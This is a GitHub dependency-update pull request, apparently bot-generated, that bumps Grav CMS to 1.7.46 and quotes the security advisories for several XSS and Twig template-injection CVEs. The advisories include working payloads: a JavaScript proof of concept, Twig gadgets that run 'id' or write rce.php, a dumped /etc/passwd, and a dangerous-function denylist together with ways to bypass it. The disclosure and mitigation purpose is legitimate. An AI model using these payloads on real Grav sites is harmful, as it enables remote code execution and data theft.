Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update dependency getgrav/grav to v1.7.46 [SECURITY] #17

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Mar 14, 2022

Mend Renovate

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
getgrav/grav (source) 1.7.25 -> 1.7.46 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2022-0268

In grav prior to version 1.7.28, a low privilege user can create a page with arbitrary javascript by bypassing insufficent XSS filtering.

CVE-2022-0743

User input is not properly sanitized leading to cross site scrpting (xss) in grav.

CVE-2022-0970

Grav prior to 1.7.31 is vulnerable to stored cross-site scripting.

CVE-2022-1173

Stored cross-site scripting in GitHub repository getgrav/grav prior to 1.7.33.

CVE-2022-2073

Grav is vulnerable to Server Side Template Injection via Twig. According to a previous vulnerability report, Twig should not render dangerous functions by default, such as system.

CVE-2023-34251

Summary

I found an RCE(Remote Code Execution) by SSTI in the admin screen.

Details

Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.

PoC

  1. Log in to the administrator screen and access the edit screen of the default page "Typography". (http://127.0.0.1:8000/admin/pages/typography)
  2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (id) is being executed.
(async () => {
  const nonce = document.querySelector("input[name=admin-nonce]").value;
  const id = document.querySelector("input[name=__unique_form_id__]").value;

  const payload = "{{['id']|map('system')|join}}"; // SSTI Payload

  const params = new URLSearchParams();
  params.append("task", "save");
  params.append("data[header][title]", "poc");
  params.append("data[content]", payload);
  params.append("data[folder]", "poc");
  params.append("data[route]", "");
  params.append("data[name]", "default");
  params.append("data[header][body_classes]", "");
  params.append("data[ordering]", 1);
  params.append("data[order]", "");
  params.append("toggleable_data[header][process]", "on");
  params.append("data[header][process][twig]", 1);
  params.append("data[header][order_by]", "");
  params.append("data[header][order_manual]", "");
  params.append("data[blueprint", "");
  params.append("data[lang]", "");
  params.append("_post_entries_save", "edit");
  params.append("__form-name__", "flex-pages");
  params.append("__unique_form_id__", id);
  params.append("admin-nonce", nonce);

  await fetch("http://127.0.0.1:8000/admin/pages/typography", {
    method: "POST",
    headers: {
      "content-type": "application/x-www-form-urlencoded",
    },
    body: params,
  });

  window.open("http://127.0.0.1:8000/admin/pages/poc/:preview");
})();

Execution Result

  • Payload: {{['id']|map('system')|join}}
uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
  • Payload: {{['cat /etc/passwd']|map('system')|join}}
## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false _geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false _appserver:*:79:79:Application Server:/var/empty:/usr/bin/false _clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false _amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false _jabber:*:84:84:Jabber XMPP Server:/var/empty:/usr/bin/false _appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false _windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false _spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false _tokend:*:91:91:Token Daemon:/var/empty:/usr/bin/false _securityagent:*:92:92:SecurityAgent:/var/db/securityagent:/usr/bin/false _calendar:*:93:93:Calendar:/var/empty:/usr/bin/false _teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false _update_sharing:*:95:-2:Update Sharing:/var/empty:/usr/bin/false _installer:*:96:-2:Installer:/var/empty:/usr/bin/false _atsserver:*:97:97:ATS Server:/var/empty:/usr/bin/false _ftp:*:98:-2:FTP Daemon:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false _softwareupdate:*:200:200:Software Update Service:/var/db/softwareupdate:/usr/bin/false _coreaudiod:*:202:202:Core Audio Daemon:/var/empty:/usr/bin/false _screensaver:*:203:203:Screensaver:/var/empty:/usr/bin/false _locationd:*:205:205:Location Daemon:/var/db/locationd:/usr/bin/false _trustevaluationagent:*:208:208:Trust Evaluation Agent:/var/empty:/usr/bin/false _timezone:*:210:210:AutoTimeZoneDaemon:/var/empty:/usr/bin/false _lda:*:211:211:Local Delivery Agent:/var/empty:/usr/bin/false _cvmsroot:*:212:212:CVMS Root:/var/empty:/usr/bin/false _usbmuxd:*:213:213:iPhone OS Device Helper:/var/db/lockdown:/usr/bin/false _dovecot:*:214:6:Dovecot Administrator:/var/empty:/usr/bin/false _dpaudio:*:215:215:DP Audio:/var/empty:/usr/bin/false _postgres:*:216:216:PostgreSQL Server:/var/empty:/usr/bin/false _krbtgt:*:217:-2:Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _kadmin_admin:*:218:-2:Kerberos Admin Service:/var/empty:/usr/bin/false _kadmin_changepw:*:219:-2:Kerberos Change Password Service:/var/empty:/usr/bin/false _devicemgr:*:220:220:Device Management Server:/var/empty:/usr/bin/false _webauthserver:*:221:221:Web Auth Server:/var/empty:/usr/bin/false _netbios:*:222:222:NetBIOS:/var/empty:/usr/bin/false _warmd:*:224:224:Warm Daemon:/var/empty:/usr/bin/false _dovenull:*:227:227:Dovecot Authentication:/var/empty:/usr/bin/false _netstatistics:*:228:228:Network Statistics Daemon:/var/empty:/usr/bin/false _avbdeviced:*:229:-2:Ethernet AVB Device Daemon:/var/empty:/usr/bin/false _krb_krbtgt:*:230:-2:Open Directory Kerberos Ticket Granting Ticket:/var/empty:/usr/bin/false _krb_kadmin:*:231:-2:Open Directory Kerberos Admin Service:/var/empty:/usr/bin/false _krb_changepw:*:232:-2:Open Directory Kerberos Change Password Service:/var/empty:/usr/bin/false _krb_kerberos:*:233:-2:Open Directory Kerberos:/var/empty:/usr/bin/false _krb_anonymous:*:234:-2:Open Directory Kerberos Anonymous:/var/empty:/usr/bin/false _assetcache:*:235:235:Asset Cache Service:/var/empty:/usr/bin/false _coremediaiod:*:236:236:Core Media IO Daemon:/var/empty:/usr/bin/false _launchservicesd:*:239:239:_launchservicesd:/var/empty:/usr/bin/false _iconservices:*:240:240:IconServices:/var/empty:/usr/bin/false _distnote:*:241:241:DistNote:/var/empty:/usr/bin/false _nsurlsessiond:*:242:242:NSURLSession Daemon:/var/db/nsurlsessiond:/usr/bin/false _displaypolicyd:*:244:244:Display Policy Daemon:/var/empty:/usr/bin/false _astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false _krbfast:*:246:-2:Kerberos FAST Account:/var/empty:/usr/bin/false _gamecontrollerd:*:247:247:Game Controller Daemon:/var/empty:/usr/bin/false _mbsetupuser:*:248:248:Setup User:/var/setup:/bin/bash _ondemand:*:249:249:On Demand Resource Daemon:/var/db/ondemand:/usr/bin/false _xserverdocs:*:251:251:macOS Server Documents Service:/var/empty:/usr/bin/false _wwwproxy:*:252:252:WWW Proxy:/var/empty:/usr/bin/false _mobileasset:*:253:253:MobileAsset User:/var/ma:/usr/bin/false _findmydevice:*:254:254:Find My Device Daemon:/var/db/findmydevice:/usr/bin/false _datadetectors:*:257:257:DataDetectors:/var/db/datadetectors:/usr/bin/false _captiveagent:*:258:258:captiveagent:/var/empty:/usr/bin/false _ctkd:*:259:259:ctkd Account:/var/empty:/usr/bin/false _applepay:*:260:260:applepay Account:/var/db/applepay:/usr/bin/false _hidd:*:261:261:HID Service User:/var/db/hidd:/usr/bin/false _cmiodalassistants:*:262:262:CoreMedia IO Assistants User:/var/db/cmiodalassistants:/usr/bin/false _analyticsd:*:263:263:Analytics Daemon:/var/db/analyticsd:/usr/bin/false _fpsd:*:265:265:FPS Daemon:/var/db/fpsd:/usr/bin/false _timed:*:266:266:Time Sync Daemon:/var/db/timed:/usr/bin/false _nearbyd:*:268:268:Proximity and Ranging Daemon:/var/db/nearbyd:/usr/bin/false _reportmemoryexception:*:269:269:ReportMemoryException:/var/db/reportmemoryexception:/usr/bin/false _driverkit:*:270:270:DriverKit:/var/empty:/usr/bin/false _diskimagesiod:*:271:271:DiskImages IO Daemon:/var/db/diskimagesiod:/usr/bin/false _logd:*:272:272:Log Daemon:/var/db/diagnostics:/usr/bin/false _appinstalld:*:273:273:App Install Daemon:/var/db/appinstalld:/usr/bin/false _installcoordinationd:*:274:274:Install Coordination Daemon:/var/db/installcoordinationd:/usr/bin/false _demod:*:275:275:Demo Daemon:/var/empty:/usr/bin/false _rmd:*:277:277:Remote Management Daemon:/var/db/rmd:/usr/bin/false _accessoryupdater:*:278:278:Accessory Update Daemon:/var/db/accessoryupdater:/usr/bin/false _knowledgegraphd:*:279:279:Knowledge Graph Daemon:/var/db/knowledgegraphd:/usr/bin/false _coreml:*:280:280:CoreML Services:/var/db/coreml:/usr/bin/false _sntpd:*:281:281:SNTP Server Daemon:/var/empty:/usr/bin/false _trustd:*:282:282:trustd:/var/empty:/usr/bin/false _mmaintenanced:*:283:283:mmaintenanced:/var/db/mmaintenanced:/usr/bin/false _darwindaemon:*:284:284:Darwin Daemon:/var/db/darwindaemon:/usr/bin/false _notification_proxy:*:285:285:Notification Proxy:/var/empty:/usr/bin/false _avphidbridge:*:288:288:Apple Virtual Platform HID Bridge:/var/empty:/usr/bin/false _biome:*:289:289:Biome:/var/db/biome:/usr/bin/false _backgroundassets:*:291:291:Background Assets Service:/var/empty:/usr/bin/false _oahd:*:441:441:OAH Daemon:/var/empty:/usr/bin/false _oahd:*:441:441:OAH Daemon:/var/empty:/usr/bin/false

PoC Video

Impact

Remote Command Execution (RCE) is possible.

Occurrences

References

CVE-2023-34252

Hi,

actually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.

Grav Server-side Template Injection (SSTI) via Insufficient Validation in filterFilter

Summary:

Product Grav CMS
Vendor Grav
Severity High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution
Affected Versions <= v1.7.40 (Commit 685d762) (Latest version as of writing)
Tested Versions v1.7.40
Internal Identifier STAR-2023-0007
CVE Identifier TBD
CWE(s) CWE-20: Improper Input Validation, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

CVSS3.1 Scoring System:

Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) High
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.

Vulnerability Summary:

There is a logic flaw in the GravExtension.filterFilter() function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.

Vulnerability Details:

The vulnerability can be found in the GravExtension.filterFilter() function declared in /system/src/Grav/Common/Twig/Extension/GravExtension.php:

...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
    ...
    
    /**
     * Return a list of all filters.
     *
     * @&#8203;return array
     */
    public function getFilters(): array
    {
        return [
            ...
            
            // Security fix
            new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),
        ];
    }

    ...

    /**
     * @&#8203;param Environment $env
     * @&#8203;param array $array
     * @&#8203;param callable|string $arrow
     * @&#8203;return array|CallbackFilterIterator
     * @&#8203;throws RuntimeError
     */
    function filterFilter(Environment $env, $array, $arrow)
    {
        if (is_string($arrow) && Utils::isDangerousFunction($arrow)) { // [1]
            throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
        }

        return \twig_array_filter($env, $array, $arrow); // [2]
    }
}

At [1], the $arrow parameter contains the argument supplied to the filter. For example, it may refer to "funcname" in {{ array|filter("funcname") }} or the closure (a.k.a. arrow function) el => el != 'exclude' in {{ array|filter(el => el != 'exclude') }}. Observe that Utils::isDangerousFunction($arrow) is only invoked if $arrow is a string. As such, non-string arguments may be passed to twig_array_filter() at [2] due to the absence of type enforcement at [1].

The implementation of the twig_array_filter() function can be found in /src/Extension/CoreExtension.php within Twig's codebase:

function twig_array_filter(Environment $env, $array, $arrow)
{
    if (!twig_test_iterable($array)) {
        throw new RuntimeError(sprintf('The "filter" filter expects an array or "Traversable", got "%s".', \is_object($array) ? \get_class($array) : \gettype($array)));
    }

    if (!$arrow instanceof Closure && $env->hasExtension('\Twig\Extension\SandboxExtension') && $env->getExtension('\Twig\Extension\SandboxExtension')->isSandboxed()) { // [3]
        throw new RuntimeError('The callable passed to "filter" filter must be a Closure in sandbox mode.');
    }

    if (\is_array($array)) {
        if (\PHP_VERSION_ID >= 50600) {
            return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // [4]
        }

        return array_filter($array, $arrow);
    }

    // the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
    return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}

At [3], a runtime error is thrown if $arrow is not a closure and Twig sandbox is enabled. However, since Grav does not use the Twig Sandbox extension, the check passes successfully even when $arrow is not a closure. Subsequently at [4], array_filter() is invoked with the user-controlled $array input and $arrow parameter.

Note that the method signature of array_filter() is as follows:

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

A common mistake that developers make is assuming that the callable type refers to a string type. This is untrue, and it is well documented in the PHP Manual:

A method of an instantiated object is passed as an array containing an object at index 0 and the method name at index 1. Accessing protected and private methods from within a class is allowed.
Static class methods can also be passed without instantiating an object of that class by either, passing the class name instead of an object at index 0, or passing ClassName::methodName.

This means that all of the following method calls are valid:

// Type 1: Simple callback -- invokes system("id")
array_filter(array("id"), "system");

// Type 2: Static class method call -- invokes Class::staticMethod($arg)
array_filter(array($arg), array("Class", "staticMethod"));
array_filter(array($arg), array("Class::staticMethod")); // same as above

// Type 3: Object method call -- invokes $obj->method($arg)
array_filter(array($arg), array($obj, "method"));

Going back to [1], if $arrow is an array instead of a string or closure, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Grav's codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:

// Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
{% set id = {'id': 0} %}
{{ {'system': id} | filter('\\Grav\\Common\\Utils', 'arrayFilterRecursive') }}

// Gadget 2: Using \Symfony\Component\VarDumper\Vardumper::setHandler() and \Symfony\Component\VarDumper\Vardumper::dump() to invoke system("id"):
{{ ['system'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'setHandler'])}}
{{ ['id'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'dump']) }}

// Gadget 3: Using \RocketTheme\Toolbox\File\File::instance() in Grav's default theme to perform arbitrary file write to rce.php in the webroot:
{{ (['rce.php'] | map(['\\RocketTheme\\Toolbox\\File\\File', 'instance']))[0].save('<?php echo phpinfo(); ') }}

// Gadget 4: Using \Symfony\Component\Process\Process::fromShellCommandline() to invoke system("id"):
{{ {'/':'sleep 3'} | map(['\\Symfony\\Component\\Process\\Process', 'fromShellCommandline']) | map(e => e.run()) | print_r }}

Exploit Conditions:

This vulnerability can be exploited if the attacker has access to:

  1. an administrator account, or
  2. a non-administrator, user account that are granted the following permissions:
    • login access to Grav admin panel, and
    • page creation or update rights

Reproduction Steps:

  1. Log in to Grav Admin using an administrator account.
  2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user:
    • Login to Admin - Allowed
    • Page Update - Allowed
  3. Log out of Grav Admin, and log back in using the account created in step 2.
  4. Navigate to http://<grav_installation>/admin/pages/home.
  5. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage.
  6. Under the Content tab, insert the following payload within the editor:
    // Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
    {% set id = {'id': 0} %}
    {{ {'system': id} | filter('\\Grav\\Common\\Utils', 'arrayFilterRecursive') }}
  7. Click the Preview button. Observe that the output of the id shell command is returned in the preview.

Suggested Mitigations:

Patch the logic flaw in the GravExtension.filterFilter() function declared in /system/src/Grav/Common/Twig/Extension/GravExtension.php to ensure that the $arrow paramater passed to the filterFilter() function must either be a string or an arrow function as such:

...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
    ...

    /**
     * @&#8203;param Environment $env
     * @&#8203;param array $array
     * @&#8203;param callable|string $arrow
     * @&#8203;return array|CallbackFilterIterator
     * @&#8203;throws RuntimeError
     */
    function filterFilter(Environment $env, $array, $arrow)
    {
-       if (is_string($arrow) && Utils::isDangerousFunction($arrow)) {
+       if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
            throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
        }

        return \twig_array_filter($env, $array, $arrow);
    }
}

Utils::isDangerousFunction() in /system/src/Grav/Common/Utils.php should also be patched to prevent static class methods from being invoked. For example,

...
abstract class Utils
{
    ...
    /**
     * @&#8203;param string $name
     * @&#8203;return bool
     */
    public static function isDangerousFunction(string $name): bool
    {
        ...

+       if (is_array($name) || strpos($name, ":") !== false) {
+           return false;
+       }

        if (in_array($name, $commandExecutionFunctions)) {
            return true;
        }

        if (in_array($name, $codeExecutionFunctions)) {
            return true;
        }

        if (isset($callbackFunctions[$name])) {
            return true;
        }

        if (in_array($name, $informationDiscosureFunctions)) {
            return true;
        }

        if (in_array($name, $otherFunctions)) {
            return true;
        }

        return static::isFilesystemFunction($name);
    }
    ...
}

End users should also ensure that twig.undefined_functions and twig.undefined_filters properties in /path/to/webroot/system/config/system.yaml configuration file are set to false to disallow Twig from treating undefined filters/functions as PHP functions and executing them.

Detection Guidance:

The following strategies may be used to detect potential exploitation attempts.

  1. Searching within Markdown pages using the following shell command:
    grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/user/pages/
  2. Searching within Doctrine cache data using the following shell command:
    grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/
  3. Searching within Twig cache using the following shell command:
    grep -Priz -e 'twig_array_(filter|map|reduce)' /path/to/webroot/cache/twig/
  4. Searching within compiled Twig template files using the following shell command:
    grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/cache/compiled/files/

Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at /path/to/webroot/logs/grav.log by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.

Credits:

Ngo Wei Lin (@​Creastery) & Wang Hengyue (@​w_hy_04) of STAR Labs SG Pte. Ltd. (@​starlabs_sg)

Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:

  1. CVE-2023-30595
    Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in GravExtension.filterFilter() and to achieve remote code execution via usage of fully-qualified names, supplied as arrays of strings, when referencing callables. This is a bypass of CVE-2022-2073.

CVE-2023-34253

Hi,

actually we have sent the bug report to security@getgrav.org on 27th March 2023 and on 10th April 2023.

Grav Server-side Template Injection (SSTI) via Denylist Bypass Vulnerability

Summary:

Product Grav CMS
Vendor Grav
Severity High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution
Affected Versions <= v1.7.40 (Commit 685d762) (Latest version as of writing)
Tested Versions v1.7.40
Internal Identifier STAR-2023-0006
CVE Identifier Reserved CVE-2023-30592, CVE-2023-30593, CVE-2023-30594
CWE(s) CWE-184: Incomplete List of Disallowed Inputs, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

CVSS3.1 Scoring System:

Base Score: 7.2 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) High
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview:

Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.

Vulnerability Summary:

The denylist introduced in commit 9d6a2d to prevent dangerous functions from being executed via injection of malicious templates was insufficient and could be easily subverted in multiple ways -- (1) using unsafe functions that are not banned, (2) using capitalised callable names, and (3) using fully-qualified names for referencing callables. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.

Vulnerability Details:

In addressing CVE-2022-2073, a denylist was introduced in commit 9d6a2d to validate and ensure that dangerous functions could not be executed via injection of malicious templates.

The implementation of the denylist can be found in Utils::isDangerousFunction() within /system/src/Grav/Common/Utils.php:

    /**
     * @&#8203;param string $name
     * @&#8203;return bool
     */
    public static function isDangerousFunction(string $name): bool
    {
        static $commandExecutionFunctions = [
            'exec',
            'passthru',
            'system',
            'shell_exec',
            'popen',
            'proc_open',
            'pcntl_exec',
        ];

        static $codeExecutionFunctions = [
            'assert',
            'preg_replace',
            'create_function',
            'include',
            'include_once',
            'require',
            'require_once'
        ];

        static $callbackFunctions = [
            'ob_start' => 0,
            'array_diff_uassoc' => -1,
            'array_diff_ukey' => -1,
            'array_filter' => 1,
            'array_intersect_uassoc' => -1,
            'array_intersect_ukey' => -1,
            'array_map' => 0,
            'array_reduce' => 1,
            'array_udiff_assoc' => -1,
            'array_udiff_uassoc' => [-1, -2],
            'array_udiff' => -1,
            'array_uintersect_assoc' => -1,
            'array_uintersect_uassoc' => [-1, -2],
            'array_uintersect' => -1,
            'array_walk_recursive' => 1,
            'array_walk' => 1,
            'assert_options' => 1,
            'uasort' => 1,
            'uksort' => 1,
            'usort' => 1,
            'preg_replace_callback' => 1,
            'spl_autoload_register' => 0,
            'iterator_apply' => 1,
            'call_user_func' => 0,
            'call_user_func_array' => 0,
            'register_shutdown_function' => 0,
            'register_tick_function' => 0,
            'set_error_handler' => 0,
            'set_exception_handler' => 0,
            'session_set_save_handler' => [0, 1, 2, 3, 4, 5],
            'sqlite_create_aggregate' => [2, 3],
            'sqlite_create_function' => 2,
        ];

        static $informationDiscosureFunctions = [
            'phpinfo',
            'posix_mkfifo',
            'posix_getlogin',
            'posix_ttyname',
            'getenv',
            'get_current_user',
            'proc_get_status',
            'get_cfg_var',
            'disk_free_space',
            'disk_total_space',
            'diskfreespace',
            'getcwd',
            'getlastmo',
            'getmygid',
            'getmyinode',
            'getmypid',
            'getmyuid'
        ];

        static $otherFunctions = [
            'extract',
            'parse_str',
            'putenv',
            'ini_set',
            'mail',
            'header',
            'proc_nice',
            'proc_terminate',
            'proc_close',
            'pfsockopen',
            'fsockopen',
            'apache_child_terminate',
            'posix_kill',
            'posix_mkfifo',
            'posix_setpgid',
            'posix_setsid',
            'posix_setuid',
        ];

        if (in_array($name, $commandExecutionFunctions)) {
            return true;
        }

        if (in_array($name, $codeExecutionFunctions)) {
            return true;
        }

        if (isset($callbackFunctions[$name])) {
            return true;
        }

        if (in_array($name, $informationDiscosureFunctions)) {
            return true;
        }

        if (in_array($name, $otherFunctions)) {
            return true;
        }

        return static::isFilesystemFunction($name);
    }

    /**
     * @&#8203;param string $name
     * @&#8203;return bool
     */
    public static function isFilesystemFunction(string $name): bool
    {
        static $fileWriteFunctions = [
            'fopen',
            'tmpfile',
            'bzopen',
            'gzopen',
            // write to filesystem (partially in combination with reading)
            'chgrp',
            'chmod',
            'chown',
            'copy',
            'file_put_contents',
            'lchgrp',
            'lchown',
            'link',
            'mkdir',
            'move_uploaded_file',
            'rename',
            'rmdir',
            'symlink',
            'tempnam',
            'touch',
            'unlink',
            'imagepng',
            'imagewbmp',
            'image2wbmp',
            'imagejpeg',
            'imagexbm',
            'imagegif',
            'imagegd',
            'imagegd2',
            'iptcembed',
            'ftp_get',
            'ftp_nb_get',
        ];

        static $fileContentFunctions = [
            'file_get_contents',
            'file',
            'filegroup',
            'fileinode',
            'fileowner',
            'fileperms',
            'glob',
            'is_executable',
            'is_uploaded_file',
            'parse_ini_file',
            'readfile',
            'readlink',
            'realpath',
            'gzfile',
            'readgzfile',
            'stat',
            'imagecreatefromgif',
            'imagecreatefromjpeg',
            'imagecreatefrompng',
            'imagecreatefromwbmp',
            'imagecreatefromxbm',
            'imagecreatefromxpm',
            'ftp_put',
            'ftp_nb_put',
            'hash_update_file',
            'highlight_file',
            'show_source',
            'php_strip_whitespace',
        ];

        static $filesystemFunctions = [
            // read from filesystem
            'file_exists',
            'fileatime',
            'filectime',
            'filemtime',
            'filesize',
            'filetype',
            'is_dir',
            'is_file',
            'is_link',
            'is_readable',
            'is_writable',
            'is_writeable',
            'linkinfo',
            'lstat',
            //'pathinfo',
            'getimagesize',
            'exif_read_data',
            'read_exif_data',
            'exif_thumbnail',
            'exif_imagetype',
            'hash_file',
            'hash_hmac_file',
            'md5_file',
            'sha1_file',
            'get_meta_tags',
        ];

        if (in_array($name, $fileWriteFunctions)) {
            return true;
        }

        if (in_array($name, $fileContentFunctions)) {
            return true;
        }

        if (in_array($name, $filesystemFunctions)) {
            return true;
        }

        return false;
    }

The list of banned functions appears to be adapted from a StackOverflow post. While the denylist looks rather comprehensive, there are actually multiple issues with the denylist implementation:

  1. There may be unsafe functions, be it built-in to PHP or user-defined, which are not be blocked. For example, unserialize() and aliases of blocked functions, such as ini_alter(), are not being included in the denylist.
  2. A case-sensitive comparison is performed against the denylist, but PHP function names are case-insensitive. This allows using filter('SYSTEM') to trivially bypass the denylist validation check.
  3. Fully qualified names can be used when referencing functions, allowing filter('\system') to trivially bypass the denylist validation checks.

Exploit Conditions:

This vulnerability can be exploited if the attacker has access to:

  1. an administrator account, or
  2. a non-administrative user account with the following permissions granted:
    • login access to Grav admin panel, and
    • page creation or update rights

Reproduction Steps:

  1. Log in to Grav Admin using an administrator account.
  2. Navigate to Accounts > Add, and ensure that the following permissions are assigned when creating a new low-privileged user:
    • Login to Admin - Allowed
    • Page Update - Allowed
  3. Log out of Grav Admin, and log back in using the account created in step 2.
  4. Navigate to http://<grav_installation>/admin/pages/home.
  5. Click the Advanced tab and select the checkbox beside Twig to ensure that Twig processing is enabled for the modified webpage.
  6. Under the Content tab, insert the following payload within the editor:
    // Method 1: Using unserialize() to trigger system('id') call
    // Serialized payloaed generated using the phpggc tool: ./phpggc -b Monolog/RCE7 system 'id'
